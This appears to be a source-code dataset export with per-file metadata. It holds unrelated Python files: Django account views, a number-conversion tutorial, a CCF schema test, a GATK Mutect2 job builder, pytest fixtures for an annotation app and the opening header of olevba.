+ profile.nag_period else: profile.next_nag_date = None profile.save() ctx["status"] = "info" return render(request, "accounts/notifications.html", ctx) @login_required def badges(request): _ensure_own_team(request) tags = set() for check in Check.objects.filter(user=request.team.user): tags.update(check.tags_list()) username = request.user.username urls = [] for tag in sorted(tags, key=lambda s: s.lower()): if not re.match("^[\w-]+$", tag): continue urls.append({ "svg": get_badge_url(username, tag), "json": get_badge_url(username, tag, format="json"), }) ctx = { "page": "profile", "urls": urls, "master": { "svg": get_badge_url(username, "*"), "json": get_badge_url(username, "*", format="json") } } return render(request, "accounts/badges.html", ctx) @login_required def set_password(request, token): if not request.profile.check_token(token, "set-password"): return HttpResponseBadRequest() if request.method == "POST": form = SetPasswordForm(request.POST) if form.is_valid(): password = form.cleaned_data["password"] request.user.set_password(password) request.user.save() request.profile.token = "" request.profile.save() # Setting a password logs the user out, so here we # log them back in. u = authenticate(username=request.user.email, password=password) auth_login(request, u) messages.success(request, "Your password has been set!") return redirect("hc-profile") return render(request, "accounts/set_password.html", {}) @login_required def change_email(request, token): if not request.profile.check_token(token, "change-email"): return HttpResponseBadRequest() if request.method == "POST": form = ChangeEmailForm(request.POST) if form.is_valid(): request.user.email = form.cleaned_data["email"] request.user.set_unusable_password() request.user.save() request.profile.token = "" request.profile.save() return redirect("hc-change-email-done") else: form = ChangeEmailForm() return render(request, "accounts/change_email.html", {"form": form}) def change_email_done(request): return render(request, "accounts/change_email_done.html") def unsubscribe_reports(request, username): if ":" in username: signer = signing.TimestampSigner(salt="reports") try: username = signer.unsign(username) except signing.BadSignature: return render(request, "bad_link.html") else: # Username is not signed but there should be a ?token=... parameter # This is here for backwards compatibility and will be removed # at some point. try: signing.Signer().unsign(request.GET.get("token")) except signing.BadSignature: return render(request, "bad_link.html") user = User.objects.get(username=username) profile = Profile.objects.for_user(user) profile.reports_allowed = False profile.nag_period = td() profile.save() return render(request, "accounts/unsubscribed.html") @login_required def switch_team(request, target_username): try: target_team = Profile.objects.get(user__username=target_username) except Profile.DoesNotExist: return HttpResponseForbidden() # The rules: # Superuser can switch to any team. access_ok = request.user.is_superuser # Users can switch to their own teams. if not access_ok and target_team == request.profile: access_ok = True # Users can switch to teams they are members of. if not access_ok: access_ok = request.user.memberships.filter(team=target_team).exists() if not access_ok: return HttpResponseForbidden() request.profile.current_team = target_team request.profile.save() return redirect("hc-checks") @require_POST @login_required def close(request): user = request.user # Subscription needs to be canceled before it is deleted: sub = Subscription.objects.filter(user=user).first() if sub: sub.cancel() user.delete() # Deleting user also deletes its profile, checks, channels etc. request.session.flush() return redirect("hc-index")
true
true
f7f39ea3b47bab5f289dfd77543e0d2c9e9c394e
560
py
Python
basic-concepts/1a-number-conversion.py
AlienCoders/learning-python
255dc32400b79db83382e707c96df029cfe30b24
[ "MIT" ]
19
2019-08-30T06:51:52.000Z
2022-03-11T18:44:29.000Z
basic-concepts/1a-number-conversion.py
AlienCoders/learning-python
255dc32400b79db83382e707c96df029cfe30b24
[ "MIT" ]
9
2020-02-14T09:21:20.000Z
2022-03-08T09:38:09.000Z
basic-concepts/1a-number-conversion.py
sumanchary86/learning-python
99ae9c31d62a07d1363b67f22f93173730346d76
[ "MIT" ]
12
2020-07-20T18:49:45.000Z
2021-12-18T11:20:03.000Z
#!/usr/bin/python # This tutorial will cover the concept of numeric type conversion in Python3.x # Int positive_int = 55 # Float negative_float = -2.9987654 # Complex complex_num = 1j # convert from int to float: positive_float = float(positive_int) # convert from float to int: negative_int = int(negative_float) # convert from int to complex: complex_from_int = complex(positive_int) print(positive_float) print(negative_int) print(complex_from_int) print(type(positive_float)) print(type(negative_int)) print(type(complex_from_int))
18.666667
78
0.760714
positive_int = 55 negative_float = -2.9987654 complex_num = 1j positive_float = float(positive_int) negative_int = int(negative_float) complex_from_int = complex(positive_int) print(positive_float) print(negative_int) print(complex_from_int) print(type(positive_float)) print(type(negative_int)) print(type(complex_from_int))
true
true
f7f39fd094749ab17bca8624f927db6889a50fcc
6,894
py
Python
tests/schema.py
lynshi/CCF
a651fb542eab3f53431bf791d6d31c81d0d6ee51
[ "Apache-2.0" ]
null
null
null
tests/schema.py
lynshi/CCF
a651fb542eab3f53431bf791d6d31c81d0d6ee51
[ "Apache-2.0" ]
null
null
null
tests/schema.py
lynshi/CCF
a651fb542eab3f53431bf791d6d31c81d0d6ee51
[ "Apache-2.0" ]
null
null
null
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache 2.0 License. import os import json import http import infra.network import infra.proc import infra.e2e_args import infra.checker import openapi_spec_validator from packaging import version from infra.runner import ConcurrentRunner import nobuiltins import e2e_tutorial import e2e_operations from loguru import logger as LOG def run(args): os.makedirs(args.schema_dir, exist_ok=True) changed_files = [] old_schema = set( os.path.join(dir_path, filename) for dir_path, _, filenames in os.walk(args.schema_dir) for filename in filenames ) documents_valid = True all_methods = [] def fetch_schema(client, prefix, file_prefix=None): if file_prefix is None: file_prefix = prefix api_response = client.get(f"/{prefix}/api") check( api_response, error=lambda status, msg: status == http.HTTPStatus.OK.value ) response_body = api_response.body.json() paths = response_body["paths"] all_methods.extend(paths.keys()) fetched_version = response_body["info"]["version"] formatted_schema = json.dumps(response_body, indent=2) openapi_target_file = os.path.join( args.schema_dir, f"{file_prefix}_openapi.json" ) try: old_schema.remove(openapi_target_file) except KeyError: pass with open(openapi_target_file, "a+", encoding="utf-8") as f: f.seek(0) previous = f.read() if previous != formatted_schema: file_version = "0.0.0" try: from_file = json.loads(previous) file_version = from_file["info"]["version"] except (json.JSONDecodeError, KeyError): pass if version.parse(fetched_version) > version.parse(file_version): LOG.debug( f"Writing schema to {openapi_target_file} - overwriting {file_version} with {fetched_version}" ) f.truncate(0) f.seek(0) f.write(formatted_schema) else: LOG.error( f"Found differences in {openapi_target_file}, but not overwriting as retrieved version is not newer ({fetched_version} <= {file_version})" ) alt_file = os.path.join( args.schema_dir, f"{file_prefix}_{fetched_version}_openapi.json" ) LOG.error(f"Writing to {alt_file} for comparison") with open(alt_file, "w", encoding="utf-8") as f2: f2.write(formatted_schema) changed_files.append(openapi_target_file) else: LOG.debug("Schema matches in {}".format(openapi_target_file)) try: openapi_spec_validator.validate_spec(response_body) except Exception as e: LOG.error(f"Validation of {prefix} schema failed") LOG.error(e) return False return True with infra.network.network( args.nodes, args.binary_dir, args.debug_nodes, args.perf_nodes ) as network: network.start_and_open(args) primary, _ = network.find_primary() check = infra.checker.Checker() with primary.client("user0") as user_client: LOG.info("user frontend") if not fetch_schema(user_client, "app"): documents_valid = False with primary.client() as node_client: LOG.info("node frontend") if not fetch_schema(node_client, "node"): documents_valid = False with primary.client("member0") as member_client: LOG.info("member frontend") if not fetch_schema(member_client, "gov"): documents_valid = False made_changes = False if len(old_schema) > 0: LOG.error("Removing old files which are no longer reported by the service:") for f in old_schema: LOG.error(" " + f) os.remove(f) f_dir = os.path.dirname(f) # Remove empty directories too while not os.listdir(f_dir): os.rmdir(f_dir) f_dir = os.path.dirname(f_dir) made_changes = True if len(changed_files) > 0: LOG.error("Found problems with the following schema files:") for f in changed_files: LOG.error(" " + f) made_changes = True if args.list_all: LOG.info("Discovered methods:") for method in sorted(set(all_methods)): LOG.info(f" {method}") if made_changes or not documents_valid: assert False def run_nobuiltins(args): with infra.network.network( args.nodes, args.binary_dir, args.debug_nodes, args.perf_nodes, pdb=args.pdb ) as network: network.start_and_open(args) nobuiltins.test_nobuiltins_endpoints(network, args) if __name__ == "__main__": def add(parser): parser.add_argument( "--schema-dir", help="Path to directory where retrieved schema should be saved", required=True, ) parser.add_argument( "--list-all", help="List all discovered methods at the end of the run", action="store_true", ) parser.add_argument( "--ledger-tutorial", help="Path to ledger tutorial file", type=str, ) parser.add_argument( "--config-samples-dir", help="Configuration samples directory", type=str, default=None, ) parser.add_argument( "--config-file-1x", help="Path to 1.x configuration file", type=str, default=None, ) cr = ConcurrentRunner(add) cr.add( "schema", run, package="samples/apps/logging/liblogging", nodes=infra.e2e_args.nodes(cr.args, 1), ) cr.add( "nobuiltins", run_nobuiltins, package="samples/apps/nobuiltins/libnobuiltins", nodes=infra.e2e_args.min_nodes(cr.args, f=1), ) cr.add( "tutorial", e2e_tutorial.run, package="samples/apps/logging/liblogging", nodes=["local://127.0.0.1:8000"], initial_member_count=1, ) cr.add( "operations", e2e_operations.run, package="samples/apps/logging/liblogging", nodes=infra.e2e_args.min_nodes(cr.args, f=0), initial_user_count=1, ledger_chunk_bytes="1B", # Chunk ledger at every signature transaction ) cr.run()
31.19457
162
0.576298
import os import json import http import infra.network import infra.proc import infra.e2e_args import infra.checker import openapi_spec_validator from packaging import version from infra.runner import ConcurrentRunner import nobuiltins import e2e_tutorial import e2e_operations from loguru import logger as LOG def run(args): os.makedirs(args.schema_dir, exist_ok=True) changed_files = [] old_schema = set( os.path.join(dir_path, filename) for dir_path, _, filenames in os.walk(args.schema_dir) for filename in filenames ) documents_valid = True all_methods = [] def fetch_schema(client, prefix, file_prefix=None): if file_prefix is None: file_prefix = prefix api_response = client.get(f"/{prefix}/api") check( api_response, error=lambda status, msg: status == http.HTTPStatus.OK.value ) response_body = api_response.body.json() paths = response_body["paths"] all_methods.extend(paths.keys()) fetched_version = response_body["info"]["version"] formatted_schema = json.dumps(response_body, indent=2) openapi_target_file = os.path.join( args.schema_dir, f"{file_prefix}_openapi.json" ) try: old_schema.remove(openapi_target_file) except KeyError: pass with open(openapi_target_file, "a+", encoding="utf-8") as f: f.seek(0) previous = f.read() if previous != formatted_schema: file_version = "0.0.0" try: from_file = json.loads(previous) file_version = from_file["info"]["version"] except (json.JSONDecodeError, KeyError): pass if version.parse(fetched_version) > version.parse(file_version): LOG.debug( f"Writing schema to {openapi_target_file} - overwriting {file_version} with {fetched_version}" ) f.truncate(0) f.seek(0) f.write(formatted_schema) else: LOG.error( f"Found differences in {openapi_target_file}, but not overwriting as retrieved version is not newer ({fetched_version} <= {file_version})" ) alt_file = os.path.join( args.schema_dir, f"{file_prefix}_{fetched_version}_openapi.json" ) LOG.error(f"Writing to {alt_file} for comparison") with open(alt_file, "w", encoding="utf-8") as f2: f2.write(formatted_schema) changed_files.append(openapi_target_file) else: LOG.debug("Schema matches in {}".format(openapi_target_file)) try: openapi_spec_validator.validate_spec(response_body) except Exception as e: LOG.error(f"Validation of {prefix} schema failed") LOG.error(e) return False return True with infra.network.network( args.nodes, args.binary_dir, args.debug_nodes, args.perf_nodes ) as network: network.start_and_open(args) primary, _ = network.find_primary() check = infra.checker.Checker() with primary.client("user0") as user_client: LOG.info("user frontend") if not fetch_schema(user_client, "app"): documents_valid = False with primary.client() as node_client: LOG.info("node frontend") if not fetch_schema(node_client, "node"): documents_valid = False with primary.client("member0") as member_client: LOG.info("member frontend") if not fetch_schema(member_client, "gov"): documents_valid = False made_changes = False if len(old_schema) > 0: LOG.error("Removing old files which are no longer reported by the service:") for f in old_schema: LOG.error(" " + f) os.remove(f) f_dir = os.path.dirname(f) while not os.listdir(f_dir): os.rmdir(f_dir) f_dir = os.path.dirname(f_dir) made_changes = True if len(changed_files) > 0: LOG.error("Found problems with the following schema files:") for f in changed_files: LOG.error(" " + f) made_changes = True if args.list_all: LOG.info("Discovered methods:") for method in sorted(set(all_methods)): LOG.info(f" {method}") if made_changes or not documents_valid: assert False def run_nobuiltins(args): with infra.network.network( args.nodes, args.binary_dir, args.debug_nodes, args.perf_nodes, pdb=args.pdb ) as network: network.start_and_open(args) nobuiltins.test_nobuiltins_endpoints(network, args) if __name__ == "__main__": def add(parser): parser.add_argument( "--schema-dir", help="Path to directory where retrieved schema should be saved", required=True, ) parser.add_argument( "--list-all", help="List all discovered methods at the end of the run", action="store_true", ) parser.add_argument( "--ledger-tutorial", help="Path to ledger tutorial file", type=str, ) parser.add_argument( "--config-samples-dir", help="Configuration samples directory", type=str, default=None, ) parser.add_argument( "--config-file-1x", help="Path to 1.x configuration file", type=str, default=None, ) cr = ConcurrentRunner(add) cr.add( "schema", run, package="samples/apps/logging/liblogging", nodes=infra.e2e_args.nodes(cr.args, 1), ) cr.add( "nobuiltins", run_nobuiltins, package="samples/apps/nobuiltins/libnobuiltins", nodes=infra.e2e_args.min_nodes(cr.args, f=1), ) cr.add( "tutorial", e2e_tutorial.run, package="samples/apps/logging/liblogging", nodes=["local://127.0.0.1:8000"], initial_member_count=1, ) cr.add( "operations", e2e_operations.run, package="samples/apps/logging/liblogging", nodes=infra.e2e_args.min_nodes(cr.args, f=0), initial_user_count=1, ledger_chunk_bytes="1B", ) cr.run()
true
true
f7f3a0cca56557e6df4214f16b8d37d2b0e24869
113
py
Python
extra_generic_fields/apps.py
kacchan822/django-extra-generic-fields
513aadd902efbd0a0004232397d5ccea4794b3c9
[ "MIT" ]
null
null
null
extra_generic_fields/apps.py
kacchan822/django-extra-generic-fields
513aadd902efbd0a0004232397d5ccea4794b3c9
[ "MIT" ]
null
null
null
extra_generic_fields/apps.py
kacchan822/django-extra-generic-fields
513aadd902efbd0a0004232397d5ccea4794b3c9
[ "MIT" ]
null
null
null
from django.apps import AppConfig class ExtraGenericFieldsConfig(AppConfig): name = 'extra_generic_fields'
18.833333
42
0.80531
from django.apps import AppConfig class ExtraGenericFieldsConfig(AppConfig): name = 'extra_generic_fields'
true
true
f7f3a100bcae359f8f1b304e70dca88ec90727a5
2,421
py
Python
scphylo/commands/caller/_5mutect2.py
faridrashidi/scphylo-tools
4574e2c015da58e59caa38e3b3e49b398c1379c1
[ "BSD-3-Clause" ]
null
null
null
scphylo/commands/caller/_5mutect2.py
faridrashidi/scphylo-tools
4574e2c015da58e59caa38e3b3e49b398c1379c1
[ "BSD-3-Clause" ]
null
null
null
scphylo/commands/caller/_5mutect2.py
faridrashidi/scphylo-tools
4574e2c015da58e59caa38e3b3e49b398c1379c1
[ "BSD-3-Clause" ]
null
null
null
import subprocess import click import scphylo as scp from scphylo.ul._servers import cmd, write_cmds_get_main @click.command(short_help="Run MuTect2.") @click.argument( "outdir", required=True, type=click.Path( exists=True, file_okay=False, dir_okay=True, readable=True, resolve_path=True ), ) @click.argument( "normal", required=True, type=str, ) @click.argument( "ref", required=True, type=click.Choice(scp.settings.refs), ) @click.option( "--time", default="0-10:00:00", type=str, show_default=True, help="Time.", ) @click.option( "--mem", default="50", type=str, show_default=True, help="Memory.", ) @click.option( "--afterok", default=None, type=str, show_default=True, help="Afterok.", ) def mutect2(outdir, normal, ref, time, mem, afterok): """Run MuTect2. scphylo mutect2 /path/to/in/dir normal_name hg19|hg38|mm10 BAM files (*.markdup_bqsr.bam) --> VCF files (*.mutect2.vcf) """ if ref == "hg19": config = scp.settings.hg19 elif ref == "mm10": config = scp.settings.mm10 elif ref == "hg38": config = scp.settings.hg38 def get_command(sample): cmds = "" cmds += cmd([f"module load {scp.settings.tools['gatk']}"]) cmds += cmd( [ f'gatk --java-options "-Xmx{int(mem)-10}g"', "Mutect2", f"--reference {config['ref']}", f"--input {outdir}/{sample}.markdup_bqsr.bam", f"--input {outdir}/{normal}.markdup_bqsr.bam", f"--normal-sample {normal}", f"--output {outdir}/{sample}.mutect2.vcf", ] ) cmds += cmd( [ "rm -rf", f"{outdir}/{sample}.mutect2.vcf.stats", f"{outdir}/{sample}.mutect2.vcf.idx", ] ) cmds += cmd(["echo Done!"], islast=True) return cmds df_cmds = scp.ul.get_samples_df(outdir, normal) df_cmds["cmd"] = df_cmds.apply(lambda x: get_command(x["sample"]), axis=1) cmdmain = write_cmds_get_main( df_cmds, "mutect2", time, mem, None, 1, scp.settings.tools["email"], f"{outdir}/_tmp", afterok, ) code = subprocess.getoutput(cmdmain) scp.logg.info(code) return None
23.278846
85
0.542751
import subprocess import click import scphylo as scp from scphylo.ul._servers import cmd, write_cmds_get_main @click.command(short_help="Run MuTect2.") @click.argument( "outdir", required=True, type=click.Path( exists=True, file_okay=False, dir_okay=True, readable=True, resolve_path=True ), ) @click.argument( "normal", required=True, type=str, ) @click.argument( "ref", required=True, type=click.Choice(scp.settings.refs), ) @click.option( "--time", default="0-10:00:00", type=str, show_default=True, help="Time.", ) @click.option( "--mem", default="50", type=str, show_default=True, help="Memory.", ) @click.option( "--afterok", default=None, type=str, show_default=True, help="Afterok.", ) def mutect2(outdir, normal, ref, time, mem, afterok): if ref == "hg19": config = scp.settings.hg19 elif ref == "mm10": config = scp.settings.mm10 elif ref == "hg38": config = scp.settings.hg38 def get_command(sample): cmds = "" cmds += cmd([f"module load {scp.settings.tools['gatk']}"]) cmds += cmd( [ f'gatk --java-options "-Xmx{int(mem)-10}g"', "Mutect2", f"--reference {config['ref']}", f"--input {outdir}/{sample}.markdup_bqsr.bam", f"--input {outdir}/{normal}.markdup_bqsr.bam", f"--normal-sample {normal}", f"--output {outdir}/{sample}.mutect2.vcf", ] ) cmds += cmd( [ "rm -rf", f"{outdir}/{sample}.mutect2.vcf.stats", f"{outdir}/{sample}.mutect2.vcf.idx", ] ) cmds += cmd(["echo Done!"], islast=True) return cmds df_cmds = scp.ul.get_samples_df(outdir, normal) df_cmds["cmd"] = df_cmds.apply(lambda x: get_command(x["sample"]), axis=1) cmdmain = write_cmds_get_main( df_cmds, "mutect2", time, mem, None, 1, scp.settings.tools["email"], f"{outdir}/_tmp", afterok, ) code = subprocess.getoutput(cmdmain) scp.logg.info(code) return None
true
true
f7f3a21d7f79be811415114b339f113ef3304381
6,531
py
Python
tests/h/conftest.py
discodavey/h
7bff8478b3a5b936de82ac9fcd89b355f4afd3aa
[ "MIT" ]
null
null
null
tests/h/conftest.py
discodavey/h
7bff8478b3a5b936de82ac9fcd89b355f4afd3aa
[ "MIT" ]
5
2017-12-26T14:22:20.000Z
2018-04-02T02:56:38.000Z
tests/h/conftest.py
SenseTW/h
dae2dfa8ab064ddb696e5657d48459114b2642d2
[ "MIT" ]
1
2021-03-12T09:45:04.000Z
2021-03-12T09:45:04.000Z
# -*- coding: utf-8 -*- # pylint: disable=no-self-use """ The `conftest` module is automatically loaded by py.test and serves as a place to put fixture functions that are useful application-wide. """ import functools import os import deform import mock import pytest import click.testing import sqlalchemy from pyramid import testing from pyramid.request import apply_request_extensions from sqlalchemy.orm import sessionmaker from webob.multidict import MultiDict from h import db from h import form from h.settings import database_url from h._compat import text_type TEST_AUTHORITY = u'example.com' TEST_DATABASE_URL = database_url(os.environ.get('TEST_DATABASE_URL', 'postgresql://postgres@localhost/htest')) Session = sessionmaker() class DummyFeature(object): """ A dummy feature flag looker-upper. Because we're probably testing all feature-flagged functionality, this feature client defaults every flag to *True*, which is the exact opposite of what happens outside of testing. """ def __init__(self): self.flags = {} self.loaded = False def __call__(self, name, *args, **kwargs): return self.flags.get(name, True) def all(self): return self.flags def load(self): self.loaded = True def clear(self): self.flags = {} class DummySession(object): """ A dummy database session. """ def __init__(self): self.added = [] self.deleted = [] self.flushed = False def add(self, obj): self.added.append(obj) def delete(self, obj): self.deleted.append(obj) def flush(self): self.flushed = True # A fake version of colander.Invalid class FakeInvalid(object): def __init__(self, errors): self.errors = errors def asdict(self): return self.errors def autopatcher(request, target, **kwargs): """Patch and cleanup automatically. Wraps :py:func:`mock.patch`.""" options = {'autospec': True} options.update(kwargs) patcher = mock.patch(target, **options) obj = patcher.start() request.addfinalizer(patcher.stop) return obj @pytest.yield_fixture def cli(): runner = click.testing.CliRunner() with runner.isolated_filesystem(): yield runner @pytest.fixture(scope='session') def db_engine(): """Set up the database connection and create tables.""" engine = sqlalchemy.create_engine(TEST_DATABASE_URL) db.init(engine, should_create=True, should_drop=True, authority=TEST_AUTHORITY) return engine @pytest.yield_fixture def db_session(db_engine): """ Prepare the SQLAlchemy session object. We enable fast repeatable database tests by setting up the database only once per session (see :func:`db_engine`) and then wrapping each test function in a transaction that is rolled back. Additionally, we set a SAVEPOINT before entering the test, and if we detect that the test has committed (i.e. released the savepoint) we immediately open another. This has the effect of preventing test code from committing the outer transaction. """ conn = db_engine.connect() trans = conn.begin() session = Session(bind=conn) session.begin_nested() @sqlalchemy.event.listens_for(session, "after_transaction_end") def restart_savepoint(session, transaction): if transaction.nested and not transaction._parent.nested: session.begin_nested() try: yield session finally: session.close() trans.rollback() conn.close() @pytest.yield_fixture def factories(db_session): from ..common import factories factories.set_session(db_session) yield factories factories.set_session(None) @pytest.fixture def fake_feature(): return DummyFeature() @pytest.fixture def fake_db_session(): return DummySession() @pytest.fixture def form_validating_to(): def form_validating_to(appstruct): form = mock.MagicMock() form.validate.return_value = appstruct form.render.return_value = 'valid form' return form return form_validating_to @pytest.fixture def invalid_form(): def invalid_form(errors=None): if errors is None: errors = {} invalid = FakeInvalid(errors) form = mock.MagicMock() form.validate.side_effect = deform.ValidationFailure(None, None, invalid) form.render.return_value = 'invalid form' return form return invalid_form @pytest.fixture def mailer(pyramid_config): from pyramid_mailer.interfaces import IMailer from pyramid_mailer.testing import DummyMailer mailer = DummyMailer() pyramid_config.registry.registerUtility(mailer, IMailer) return mailer @pytest.fixture def matchers(): from ..common import matchers return matchers @pytest.fixture def notify(pyramid_config, request): patcher = mock.patch.object(pyramid_config.registry, 'notify', autospec=True) request.addfinalizer(patcher.stop) return patcher.start() @pytest.fixture def patch(request): return functools.partial(autopatcher, request) @pytest.yield_fixture def pyramid_config(pyramid_settings, pyramid_request): """Pyramid configurator object.""" with testing.testConfig(request=pyramid_request, settings=pyramid_settings) as config: # Include pyramid_services so it's easy to set up fake services in tests config.include('pyramid_services') apply_request_extensions(pyramid_request) yield config @pytest.fixture def pyramid_request(db_session, fake_feature, pyramid_settings): """Dummy Pyramid request object.""" request = testing.DummyRequest(db=db_session, feature=fake_feature) request.authority = text_type(TEST_AUTHORITY) request.create_form = mock.Mock() request.matched_route = mock.Mock() request.registry.settings = pyramid_settings request.is_xhr = False request.params = MultiDict() request.GET = request.params request.POST = request.params return request @pytest.fixture def pyramid_csrf_request(pyramid_request): """Dummy Pyramid request object with a valid CSRF token.""" pyramid_request.headers['X-CSRF-Token'] = pyramid_request.session.get_csrf_token() return pyramid_request @pytest.fixture def pyramid_settings(): """Default app settings.""" return { 'sqlalchemy.url': TEST_DATABASE_URL }
25.611765
89
0.698209
import functools import os import deform import mock import pytest import click.testing import sqlalchemy from pyramid import testing from pyramid.request import apply_request_extensions from sqlalchemy.orm import sessionmaker from webob.multidict import MultiDict from h import db from h import form from h.settings import database_url from h._compat import text_type TEST_AUTHORITY = u'example.com' TEST_DATABASE_URL = database_url(os.environ.get('TEST_DATABASE_URL', 'postgresql://postgres@localhost/htest')) Session = sessionmaker() class DummyFeature(object): def __init__(self): self.flags = {} self.loaded = False def __call__(self, name, *args, **kwargs): return self.flags.get(name, True) def all(self): return self.flags def load(self): self.loaded = True def clear(self): self.flags = {} class DummySession(object): def __init__(self): self.added = [] self.deleted = [] self.flushed = False def add(self, obj): self.added.append(obj) def delete(self, obj): self.deleted.append(obj) def flush(self): self.flushed = True class FakeInvalid(object): def __init__(self, errors): self.errors = errors def asdict(self): return self.errors def autopatcher(request, target, **kwargs): options = {'autospec': True} options.update(kwargs) patcher = mock.patch(target, **options) obj = patcher.start() request.addfinalizer(patcher.stop) return obj @pytest.yield_fixture def cli(): runner = click.testing.CliRunner() with runner.isolated_filesystem(): yield runner @pytest.fixture(scope='session') def db_engine(): engine = sqlalchemy.create_engine(TEST_DATABASE_URL) db.init(engine, should_create=True, should_drop=True, authority=TEST_AUTHORITY) return engine @pytest.yield_fixture def db_session(db_engine): conn = db_engine.connect() trans = conn.begin() session = Session(bind=conn) session.begin_nested() @sqlalchemy.event.listens_for(session, "after_transaction_end") def restart_savepoint(session, transaction): if transaction.nested and not transaction._parent.nested: session.begin_nested() try: yield session finally: session.close() trans.rollback() conn.close() @pytest.yield_fixture def factories(db_session): from ..common import factories factories.set_session(db_session) yield factories factories.set_session(None) @pytest.fixture def fake_feature(): return DummyFeature() @pytest.fixture def fake_db_session(): return DummySession() @pytest.fixture def form_validating_to(): def form_validating_to(appstruct): form = mock.MagicMock() form.validate.return_value = appstruct form.render.return_value = 'valid form' return form return form_validating_to @pytest.fixture def invalid_form(): def invalid_form(errors=None): if errors is None: errors = {} invalid = FakeInvalid(errors) form = mock.MagicMock() form.validate.side_effect = deform.ValidationFailure(None, None, invalid) form.render.return_value = 'invalid form' return form return invalid_form @pytest.fixture def mailer(pyramid_config): from pyramid_mailer.interfaces import IMailer from pyramid_mailer.testing import DummyMailer mailer = DummyMailer() pyramid_config.registry.registerUtility(mailer, IMailer) return mailer @pytest.fixture def matchers(): from ..common import matchers return matchers @pytest.fixture def notify(pyramid_config, request): patcher = mock.patch.object(pyramid_config.registry, 'notify', autospec=True) request.addfinalizer(patcher.stop) return patcher.start() @pytest.fixture def patch(request): return functools.partial(autopatcher, request) @pytest.yield_fixture def pyramid_config(pyramid_settings, pyramid_request): with testing.testConfig(request=pyramid_request, settings=pyramid_settings) as config: config.include('pyramid_services') apply_request_extensions(pyramid_request) yield config @pytest.fixture def pyramid_request(db_session, fake_feature, pyramid_settings): request = testing.DummyRequest(db=db_session, feature=fake_feature) request.authority = text_type(TEST_AUTHORITY) request.create_form = mock.Mock() request.matched_route = mock.Mock() request.registry.settings = pyramid_settings request.is_xhr = False request.params = MultiDict() request.GET = request.params request.POST = request.params return request @pytest.fixture def pyramid_csrf_request(pyramid_request): pyramid_request.headers['X-CSRF-Token'] = pyramid_request.session.get_csrf_token() return pyramid_request @pytest.fixture def pyramid_settings(): return { 'sqlalchemy.url': TEST_DATABASE_URL }
true
true
f7f3a236fb741726bafa1583a259a69c2c88eeb6
230,937
py
Python
oletools/olevba.py
kirk-sayre-work/oletools
49473dabe752a59e5a061a10dcee485e231c54e8
[ "BSD-2-Clause" ]
3
2019-05-22T16:21:17.000Z
2020-03-15T03:28:06.000Z
oletools/olevba.py
kirk-sayre-work/oletools
49473dabe752a59e5a061a10dcee485e231c54e8
[ "BSD-2-Clause" ]
null
null
null
oletools/olevba.py
kirk-sayre-work/oletools
49473dabe752a59e5a061a10dcee485e231c54e8
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python """ olevba.py olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to extract VBA Macro code in clear text, deobfuscate and analyze malicious macros. XLM/Excel 4 Macros are also supported in Excel and SLK files. Supported formats: - Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm) - Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb) - PowerPoint 97-2003 (.ppt), PowerPoint 2007+ (.pptm, .ppsm) - Word/PowerPoint 2007+ XML (aka Flat OPC) - Word 2003 XML (.xml) - Word/Excel Single File Web Page / MHTML (.mht) - Publisher (.pub) - SYLK/SLK files (.slk) - Text file containing VBA or VBScript source code - Password-protected Zip archive containing any of the above - raises an error if run with files encrypted using MS Crypto API RC4 Author: Philippe Lagadec - http://www.decalage.info License: BSD, see source code or documentation olevba is part of the python-oletools package: http://www.decalage.info/python/oletools olevba is based on source code from officeparser by John William Davison https://github.com/unixfreak0037/officeparser """ # === LICENSE ================================================================== # olevba is copyright (c) 2014-2020 Philippe Lagadec (http://www.decalage.info) # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # olevba contains modified source code from the officeparser project, published # under the following MIT License (MIT): # # officeparser is copyright (c) 2014 John William Davison # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from __future__ import print_function #------------------------------------------------------------------------------ # CHANGELOG: # 2014-08-05 v0.01 PL: - first version based on officeparser code # 2014-08-14 v0.02 PL: - fixed bugs in code, added license from officeparser # 2014-08-15 PL: - fixed incorrect value check in projecthelpfilepath Record # 2014-08-15 v0.03 PL: - refactored 